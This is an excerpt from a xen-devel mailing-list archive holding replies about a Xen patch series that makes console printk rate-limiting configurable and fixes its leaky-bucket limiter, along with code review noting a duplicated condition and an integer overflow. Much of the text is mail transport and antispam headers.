X-purgate-ID: tlsNG-33051d/1784343268-6E6CE4E9-E171EAB8/0/0
X-purgate-type: clean
X-purgate-size: 3223

On Fri, Jul 17, 2026 at 07:34:39PM -0700, dmukhin@ford.com wrote:
> On Thu, Jul 16, 2026 at 11:59:34AM +0200, Teddy Astie wrote:
> > Le 15/07/2026 à 22:24, dmukhin@ford.com a écrit :
> > > From: Denis Mukhin <dmukhin@ford.com>
> > > 
> > > Introduce CONFIG_PRINTK_RATELIMIT_MS and CONFIG_PRINTK_RATELIMIT_BURST
> > > for configuring rate-limiting policy at the compile time.
> > > 
> > > Use symbols for global rate-limiting initialization in the console driver.
> > > 
> > > Signed-off-by: Denis Mukhin <dmukhin@ford.com>
> > > ---
> > > Changes since v2:
> > > - moved rate-limiting controls to common/Kconfig
> > > ---
> > >   xen/common/Kconfig         | 29 +++++++++++++++++++++++++++++
> > >   xen/drivers/char/console.c |  6 ++++--
> > >   2 files changed, 33 insertions(+), 2 deletions(-)
> > > 
> > > diff --git a/xen/common/Kconfig b/xen/common/Kconfig
> > > index da80fdba8469..fd22806884e0 100644
> > > --- a/xen/common/Kconfig
> > > +++ b/xen/common/Kconfig
> > > @@ -672,4 +672,33 @@ config PM_STATS
> > >   	  Enable collection of performance management statistics to aid in
> > >   	  analyzing and tuning power/performance characteristics of the system
> > > +menu "Console rate-limiting"
> > > +
> > > +config PRINTK_RATELIMIT_MS
> > > +	int "printk rate-limiting time window (milliseconds)"
> > > +	default 5000
> > > +	help
> > > +	  Specifies the time window, in milliseconds, for rate-limited printk
> > > +	  messages. No more than `CONFIG_PRINTK_RATELIMIT_BURST` messages will be
> > > +	  printed within this window.
> > > +
> > > +	  Setting this value to 0 disables rate-limiting entirely.
> > > +
> > > +	  Rate-limited messages are those controlled by the `loglvl` and
> > > +	  `guest_loglvl` command-line parameters.
> > > +
> > > +config PRINTK_RATELIMIT_BURST
> > > +	int "printk rate-limited message burst size"
> > > +	default 10
> > > +	help
> > > +	  Defines the maximum number of rate-limited printk messages that may be
> > > +	  printed within each `CONFIG_PRINTK_RATELIMIT_MS` time window.
> > > +
> > > +	  Setting this value to 0 disables rate-limiting entirely.
> > > +
> > > +	  Rate-limited messages are those controlled by the `loglvl` and
> > > +	  `guest_loglvl` command-line parameters.
> > > +
> > > +endmenu
> > > +
> > >   endmenu
> > 
> > Given that setting 0 to either will disable rate limiting, would it be
> > preferable instead to have a more general PRINTK_RATELIMIT toggle, where :
> > 
> > Setting it to true would enable configuration of ms and burst (rejecting 0
> > if possible).
> > Setting it to false would set both to 0 hence disabling rate limiting by
> > default.
> > 
> > And we do something like
> > 
> > static const unsigned int printk_ratelimit_ms =
> >   IS_ENABLED(CONFIG_PRINTK_RATELIMIT) ? CONFIG_PRINTK_RATELIMIT_MS : 0;
> > 
> > (similarly for burst)
> > 
> > ?
> 
> I can hide both selectors behind CONFIG_PRINTK_RATELIMIT.

Oh, I haven't seen Jan's feedback on that suggestion before answering.

TBH, I am fine either way, but I think just having _some_ controls is more
than enough for now given that there's no certainty on how ratelimiting will
evolve...


From xen-devel-bounces@lists.xenproject.org Sat Jul 18 02:55:26 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 18 Jul 2026 02:55:26 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1365345.1615894 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkvD3-000104-Ul; Sat, 18 Jul 2026 02:55:25 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1365345.1615894; Sat, 18 Jul 2026 02:55:25 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkvD3-0000zx-RO; Sat, 18 Jul 2026 02:55:25 +0000
Received: by outflank-mailman (input) for mailman id 1365345;
 Sat, 18 Jul 2026 02:55:24 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wkvD2-0000zp-8c
 for xen-devel@lists.xenproject.org; Sat, 18 Jul 2026 02:55:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkvD1-00B3GI-LW
 for xen-devel@lists.xenproject.org; Sat, 18 Jul 2026 04:55:23 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a5aeae2-e002-0a2a0a5209dd-0a2a45088f8a-12
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 04:55:23 +0200
Received: from [148.163.146.23] (helo=mx0a-00498f03.pphosted.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a5aeb19-f659-0a2a45080019-94a392174da6-3
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 04:55:23 +0200
Received: from pps.filterd (m0482517.ppops.net [127.0.0.1])
 by m0482517.ppops.net (8.18.1.11/8.18.1.11) with ESMTP id 66I2rv3G3597608
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 19:55:21 -0700
Received: from bl0pr03cu003.outbound.protection.outlook.com
 (mail-eastusazon11012008.outbound.protection.outlook.com [52.101.53.8])
 by m0482517.ppops.net (PPS) with ESMTPS id 4fft0yb3nh-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 19:55:21 -0700 (PDT)
Received: from PH5P220CA0004.NAMP220.PROD.OUTLOOK.COM (2603:10b6:510:34a::16)
 by SA1PR16MB5744.namprd16.prod.outlook.com (2603:10b6:806:3d9::15)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.13; Sat, 18 Jul
 2026 02:55:18 +0000
Received: from CY4PEPF0000EE38.namprd03.prod.outlook.com
 (2603:10b6:510:34a:cafe::33) by PH5P220CA0004.outlook.office365.com
 (2603:10b6:510:34a::16) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.14 via Frontend Transport; Sat,
 18 Jul 2026 02:55:17 +0000
Received: from mx0a-00498f04.pphosted.com (205.220.161.53) by
 CY4PEPF0000EE38.mail.protection.outlook.com (10.167.242.10) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.5
 via Frontend Transport; Sat, 18 Jul 2026 02:55:17 +0000
Received: from pps.filterd (m0373460.ppops.net [127.0.0.1])
 by mx0a-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66HNIJ5U3443497
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 22:55:16 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-use.ser.proofpoint.com
 [44.208.76.22])
 by mx0a-00498f04.pphosted.com (PPS) with ESMTPS id 4fc6py04rk-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 22:55:16 -0400 (EDT)
Received: from localhost ([19.12.76.221]) by cmsmtp with ESMTPSA
 id kvCrwfHLT4QlWkvCswT3H3; Sat, 18 Jul 2026 02:55:15 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=fail header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppford; bh=M6E
	FZXNDmLdlof77oLNKidYOiydwJvlB1hpV5kHz2vg=; b=vWSPfmLrdmlC0a9TGpt
	NuNn0niphrX1B/Oj/Q5hVzjrhzDX0KbiKl8DNls1Q1DYdjLDhG2fLzGmp3O9dvGA
	lYSxfF8h92m/nIZSxe02/GvIay+GJjay/UjSmsZo4njhywXkFH04dRlZgbEiDt7R
	aQlhOF9d/zni1oy+hnaUZiDXAcmYxSmeKZoUh2EXBjmM+UxY3aCMKmAbLpK/FGp6
	EH4kX0vbcigmXQ4lieDxZa4g4PsV9IHAYL97tZupzlewhK8N/zx0wqUS4SdC6NSF
	BWpeSEUV3OUsop+KyPSXEbC/LTtKtLYWjBYTEY76utVhVp5K8ap2wY0VlidGDBd5
	8DQ==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=qdLS81o3mUKvw++7fcFRZ41M/MzAHcWo8WjgZIxWJLbxKle595VaM66R6nb2VWNKN0kvcLdtazUA0sJr4yQtKNsetx7HuRjsuFBc4JRkNmJEvfB7WnV+JJ2uIfWtl0hbV2hL5uTL7Y1YPxiJqUr0yeJzdncnQxesb/TQ6tiB4JYcB6ptgoOvOf2P47ytsK1pV6gMyXyTHSgn81kFjeLNyJLCQbj4afJBL0twptKoNbuTq/cO4tVjF5FBzoYVaM95hCqvCBMMye5rntELHHa3ArcyG5P8v3DgUGOeOmNRfSZQLObM0j7GOmy/l8xT1ktEV/ic7za8qbKTHTNtYgzRZQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=24Xsuhi7oZ6eiVhoWkhf6/X8FCPySQ4HnBJ/b6jNeV0=;
 b=TO0drwQFTcPFNFpnSmpB//r7ZZoSCU2XZcO0V2YaXrkG+ayVknlbM3Bf+3mIeD+1WaH93bb37lN8Cj6YFzGM8QxaP6qgpoGhrc4rg4KfimBc0TkZvApTtaE4btz00Kyr/kx5zKo09rPWl7uHQjn8ZdqLqnCltpPwUKUfsBLnVzXJQeKIn1Cg68TXuSb8mf953jm8PcPmp3/F16HV8UzU4xBye4UDfo8TMgFvh/ipdNbDpbYBmwoEUsWoKhl8gN+xKHeIUyy2f6bw2V3dOS6SMN1eG4OcvH4t4lt0XGjMJjKOb+gGqPxcNUg4+lbgnANn7qqqMwCaxXkNOpYc9PmA/w==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 205.220.161.53) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=24Xsuhi7oZ6eiVhoWkhf6/X8FCPySQ4HnBJ/b6jNeV0=;
 b=LivgX51jkTvH2ClQwFYf+8AobbVT0JGkp7E+MTi39kib7NE/go7ztNU7YFYqYVPPz/DT/J/XG86dEkqFaiNyX8C7iPHwGp+KlbGVYoLvbgNE4/lWIKeGLm79VEn+0imyjKZtnEO7S0XXJvk5s1hLT4gefwmYF8LnppBJtJOkHV8=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 205.220.161.53)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 205.220.161.53 as permitted sender) receiver=protection.outlook.com;
 client-ip=205.220.161.53; helo=mx0a-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:content-type
	:date:from:in-reply-to:message-id:mime-version:references
	:subject:to; s=ppserprodsaar; bh=M6EFZXNDmLdlof77oLNKidYOiydwJvl
	B1hpV5kHz2vg=; b=Lk5Bm78YGClhQ8A6M1fjnul0Efk73EzaO06bABiaaHbnSp9
	hSGpycX4PVzwbjUJ/l62v/h4qHZPuNcg09a9ndk+Q95tUhHx5W6N6mkXdg74Kysb
	maMwk8kKFjvBZaunam9hG3xvQ2cXwMQFN0kB1oIoJku9j7AuEFgV28Bqhp2Du4kO
	4xaOw3VcLm23s5G08INxQKav2dj94WCCPaoRZdos9VJjfokVrv/fjQgmumO/QXB8
	yWB9a1IIwo0ct+iWd1epA89Z8Q4r/9ScnH7E8+CgfYUNJ7U2fDwAM2Flb50mM+C/
	w41LVs3re3GXMJ9MyU56v2hKb7iMZS8ZURKy2Bw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppfserpocford;
	 bh=M6EFZXNDmLdlof77oLNKidYOiydwJvlB1hpV5kHz2vg=; b=sPTHKo9KOQZr
	isPJH4I4tDDK7Ac246dAjbDxyOhbtEEswQS9f3OW9z8gmMoiP3ULMe5STRV6SzOx
	wvREb6yI+qC+Kfo4rKP3G7fo0+nAynTNDMx5ehX4R0eJUqtxVSDW6bxs5wBBTRrR
	5ipludppM7huALriS6OP8Tb5RK+oYmdB6uGp1RBiZx9MsN4bed+DDyd3ltgmszEu
	DofJ+/5MnL5J0GHKQI+qmCvkbvEp0FRRvUOZWV1sdeMZHpJl0ajPgtalSaePyMxN
	lr3P7+w/MqN7JLzGcgfDAaL8yFqsrPyw4PVUwIvI19fjnWGXjYckyRAh5kNOvtOd
	j77adS9Udg==
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: kvCrwfHLT4QlWkvCswT3H3
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
Date: Fri, 17 Jul 2026 19:55:13 -0700
To: Teddy Astie <teddy.astie@vates.tech>
Cc: dmukhin@ford.com, xen-devel@lists.xenproject.org,
        andrew.cooper3@citrix.com, anthony.perard@vates.tech,
        jbeulich@suse.com, julien@xen.org, michal.orzel@amd.com,
        roger.pau@citrix.com, sstabellini@kernel.org
Subject: Re: [PATCH v3 2/4] xen/console: correct leaky-bucket rate limiter
Message-ID: <alrrESRtt7pkLowv@kraken>
References: <20260715201902.2984407-1-dmukhin@ford.com>
 <20260715201902.2984407-3-dmukhin@ford.com>
 <1784195449.8631fc262581453bbf619ec5b2062170.19f6a5603fd000edb5@vates.tech>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <1784195449.8631fc262581453bbf619ec5b2062170.19f6a5603fd000edb5@vates.tech>
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-17_07,2026-07-17_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 bulkscore=0
 adultscore=0 suspectscore=0 spamscore=0 phishscore=0 malwarescore=0
 lowpriorityscore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607180026
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CY4PEPF0000EE38:EE_|SA1PR16MB5744:EE_
X-MS-Office365-Filtering-Correlation-Id: 49071d4a-84b5-47a6-cfc7-08dee477ff81
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|36860700016|376014|1800799024|82310400026|4143699003|56012099006|11063799006|10067099003|6133799003|22082099003|18002099003|13003099007;
X-Microsoft-Antispam-Message-Info:
	f/+az3THIR0bAazn5cJ+V0VGGaJ3FXqlVXihW59+lLf93iKHQYZNr2IWe6Te2xQON5Oxxa1id/h2jQPEzK755VKfFIRZIteIaEIr4nyRgy3J5eNt+qGR30oSlQNSIqeCLykh+4wDLJUhsoRqkAL1EcSUftAIgL3oOG7ydnWWzu8W6mdQM+NqpAdNILgRx2YKMvnWyCpObbNZopKeZkStMWYHE4uXRFMAt092yqu1aeFnMFljughhjD0qHiAwH277aoGlnYT5IA2kIuEueRpRdqQPHu94FzluJ4Gj+m/mgq13mo0feyGEc4K5Y4JjjSZkspL1vuCCCiE7WRKBO5qkCIdESdfmuEDqAkfx3YsbeG5WJkLgnKbOmbzfwkzVikvqOIl/2Ha5uJaUZeZgOoaCD2ZkyC4lZy0ENfCrqfGfZGNpO//6kukJ8PmdOWmCawlPhSb6GTecQQFFbJ0wLUJ9fkirqHenkvr8vjoZM+Hn2RFK0c7e+uvarCiF2sz3W3vNLfwyW9ORRPh/T7m3HZmzKb/GJpQ2xaAUv5/WhrpxCGPXldNDpJ38KFx8TxdmTsXDgbRUgNa2NYojfcv5a08Z0+3M+rbvzJX+Komq4RZ9yNdaxZaa2eCU38sbvrscpYzzAe6FZEx3yfNeMcD77SbyAG8EG8Y/kuiRg11e4jvgbVsIwOtP3PN81L+Nh2CWj1cTW3jrUUw8b1QNZ/JfKY6Qaw==
X-Forefront-Antispam-Report:
	CIP:205.220.161.53;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0a-00498f04.pphosted.com;PTR:mx0a-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(23010399003)(36860700016)(376014)(1800799024)(82310400026)(4143699003)(56012099006)(11063799006)(10067099003)(6133799003)(22082099003)(18002099003)(13003099007);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	7fJTWKNCHkkrLxUwQ/ceXk5C0y2vXqJArwdJ8lcUv+0zssW5lVfTr/omT3JGTNtDQqVy1lSCK55bUgW2E7Olhgp8w58O9gVnoyZsFOsHj+io2UHwRxSlusFhZePlS7G6mAZhP1cKhtlFMPl6Ium75OUAF/VGZuoi54mHzmyf9LpiCkwSoSIuWuJiHS72kFdcv5TPjMxFgrNrJ8CnPH+9q/3YTRqbITfOo1V1zeQ74LmmuTbVegEDOS/xZIpi2ZDkbI6WEtDMo1DWg+4218Dg5MeYFnNImPmC0i9lbNIXOEaKgQKUTCY8JZNCnMq7f+YcpYbwmUql2BdXgQMle6/mfg3IT8QKhYL2Tgii05Qs1sHFuO25nkhRkCRQ/U/0mJ5hT023RLW1J26N9xAiXUx1PR69TDo+Ki3MD8mObIWNaTbAuN9njLhiWhbiEObU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x1Ugj55NqKfDwtyMcztXofcSFfMrZeOw==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 18 Jul 2026 02:55:17.0669
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 49071d4a-84b5-47a6-cfc7-08dee477ff81
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[205.220.161.53];Helo=[mx0a-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CY4PEPF0000EE38.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SA1PR16MB5744
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzE4MDAyNyBTYWx0ZWRfX0g+m3ttWvbid
 Iz5AkS5j61fEfTQJUr2Q8YA3FADcLoXY1yBt0qxzMpoPk4I3dex8iys9vD+eC1IxY6wsM1Qfa87
 X7353kF4CqQgF8roHE39UwWGedpn/pbEC19J5OPNB4CwZOEYCszO
X-Proofpoint-ORIG-GUID: wrwsOyFSXirzaIYaCuvdpBdZyjwyairf
X-Authority-Analysis: v=2.4 cv=WPBPmHsR c=1 sm=1 tr=0 ts=6a5aeb19 cx=c_pps
 a=JgOmb2+ItGzuqF5frRSN9Q==:117 a=lOEMawUel/sSvQipkIvNbg==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=8nJEP1OIZ-IA:10 a=RAioF0-LDSMA:10
 a=3PXLN80vpJUA:10 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=P_n1zlmtWsCQbjROFjcg:22 a=MLwXIh1eZMowsRZfVxRb:22
 a=PeOOapuUAAAA:8 a=cbNQJ9GKAAAA:8 a=d65vQ875o1Adj3X0mQ8A:9 a=3ZKOabzyN94A:10
 a=wPNLvfGTeEIA:10 a=3whSkbs7g9Me0DR5EJEX:22 a=0BaqRfgCL6CLbWgV2pdm:22
X-Proofpoint-GUID: wrwsOyFSXirzaIYaCuvdpBdZyjwyairf
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzE4MDAyNyBTYWx0ZWRfXw27EXxlq4xJd
 CX5Za9IJ87NYLJjFwGzAbS0p02sVYBrSqYR2ooHrDjguD787CbX7YVr/7bACg3x2GxKj5DOyw21
 3FQEvy0dYH3axzZ6afJAQfoiVoa8Jgcnq57upeLYTus14I4OHAVIuBiTysGnW3Zw7DZu6EkLhWL
 K0j/Kmcbp+H/yYunLYKgy/uvKxqpRC556Ae5oQrHrvwNPA5eeq2ZTqLIuSFlt3GRVGiHSj+/+w1
 WVHNIpH9kIIvIIhNgwtRGl8F3OcN5RLEhg3lCfYXjiaQYw+6ZDQAOSOXjqeTj3WN55F/hWEhg27
 8QM7CTCP3ciWb8OeEkMpUdqqsLd1IAYFnnAxLue4w7sFBPpGPTtICwx2PTvnJ9si3kGwhXDsmCP
 JVm2cHNgbmQWigH3LlEjgZzgXJ6DGBSvDiuxhiVCVCFHAgnEFxLmxsrFewxn2FL9ZDtn3RJBS88
 UuWJASO/J/q8/U1jBmw==
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-18_01,2026-07-17_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0
 lowpriorityscore=0 impostorscore=0 spamscore=0 adultscore=0 clxscore=1015
 malwarescore=0 phishscore=0 bulkscore=0 priorityscore=1501 suspectscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607180027
X-purgate-ID: tlsNG-c1860d/1784343323-D5D4887B-D77316BE/0/0
X-purgate-type: clean
X-purgate-size: 3097

On Thu, Jul 16, 2026 at 11:50:48AM +0200, Teddy Astie wrote:
> Le 15/07/2026 à 22:24, dmukhin@ford.com a écrit :
> > From: Denis Mukhin <dmukhin@ford.com>
> > 
> > Use existing printk_ratelimit_ms and printk_ratelimit_burst variables in
> > do_printk_ratelimit() instead of hardcoded values 5000 and 10 respectively.
> > 
> > Ensure rate limiter is disabled if either printk_ratelimit_ms or
> > printk_ratelimit_burst is 0. Make sure no unnecessary initialization is done
> > in the corner case.
> > 
> > Also, simplify the limiter code by using min().
> > 
> > Signed-off-by: Denis Mukhin <dmukhin@ford.com>
> > ---
> > Changes since v2:
> > - fixed typing and 32-bit integer overflow problem
> > ---
> >   xen/drivers/char/console.c | 21 +++++++++++++--------
> >   1 file changed, 13 insertions(+), 8 deletions(-)
> > 
> > diff --git a/xen/drivers/char/console.c b/xen/drivers/char/console.c
> > index 5d395f882e08..de9f2432445d 100644
> > --- a/xen/drivers/char/console.c
> > +++ b/xen/drivers/char/console.c
> > @@ -1274,21 +1274,26 @@ bool __printk_ratelimit(unsigned int ratelimit_ms,
> >                           unsigned int ratelimit_burst)
> >   {
> >       static DEFINE_SPINLOCK(ratelimit_lock);
> > -    static unsigned long toks = 10 * 5 * 1000;
> > -    static unsigned long last_msg;
> > +    static unsigned long long toks, last_msg;
> >       static unsigned int missed;
> > +    unsigned long long now, limit;
> >       unsigned long flags;
> > -    unsigned long long now = NOW(); /* ns */
> > -    unsigned long ms;
> > +    s_time_t ms;
> > -    do_div(now, 1000000);
> > -    ms = (unsigned long)now;
> > +    if ( !ratelimit_burst || !ratelimit_burst )
> 
> Do you intend here ( !ratelimit_ms || !ratelimit_burst ) ?

Whoops, thanks for the catch!

> 
> > +        return true;
> > +
> > +    limit = min(ratelimit_burst * ratelimit_ms, UINT_MAX);
> 
> That looks no-op (at least at first stance), as UINT_MAX is the largest
> unsigned int value; hence `ratelimit_burst * ratelimit_ms` (both unsigned
> int) can't be larger than it; even if it overflows.
> 
> I think we need to cast both ratelimit_ms and ratelimit_burst to unsigned
> long long before doing the multiply, so that the multiply can't overflow
> (not sure exactly how to write it without being too verbose though).
> 
> https://godbolt.org/z/sxWaPM3cr
> 
> > +    if ( !toks )
> > +        toks = limit;
> > +
> > +    now = NOW(); /* ns */
> > +    ms = do_div(now, MILLISECS(1));
> >       spin_lock_irqsave(&ratelimit_lock, flags);
> >       toks += ms - last_msg;
> >       last_msg = ms;
> > -    if ( toks > (ratelimit_burst * ratelimit_ms))
> > -        toks = ratelimit_burst * ratelimit_ms;
> > +    toks = min(toks, limit);
> >       if ( toks >= ratelimit_ms )
> >       {
> >           unsigned int lost = missed;
> 
> With the if part fixed and the adjustments in the limit computation (cast to
> unsigned long long before the multiply) :
> Reviewed-by: Teddy Astie <teddy.astie@vates.tech>
> 
> Teddy







From xen-devel-bounces@lists.xenproject.org Sat Jul 18 14:03:58 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 18 Jul 2026 14:03:58 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1365564.1615903 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wl5dg-0004uD-RN; Sat, 18 Jul 2026 14:03:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1365564.1615903; Sat, 18 Jul 2026 14:03:36 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wl5dg-0004u5-M5; Sat, 18 Jul 2026 14:03:36 +0000
Received: by outflank-mailman (input) for mailman id 1365564;
 Sat, 18 Jul 2026 14:03:35 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marmarek@invisiblethingslab.com>) id 1wl5de-0004tg-VG
 for xen-devel@lists.xenproject.org; Sat, 18 Jul 2026 14:03:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wl5dd-00BMRH-QI
 for xen-devel@lists.xenproject.org; Sat, 18 Jul 2026 16:03:33 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a5b87a7-bab6-0a2a0a5309dd-0a2a45079f5c-10
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 16:03:33 +0200
Received: from [103.168.172.159] (helo=fhigh-a8-smtp.messagingengine.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a5b87b4-b4ea-0a2a45070019-67a8ac9fd4e3-3
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 16:03:32 +0200
Received: from phl-compute-06.internal (phl-compute-06.internal [10.202.2.46])
 by mailfhigh.phl.internal (Postfix) with ESMTP id A17E0140011B;
 Sat, 18 Jul 2026 10:03:31 -0400 (EDT)
Received: from phl-frontend-04 ([10.202.2.163])
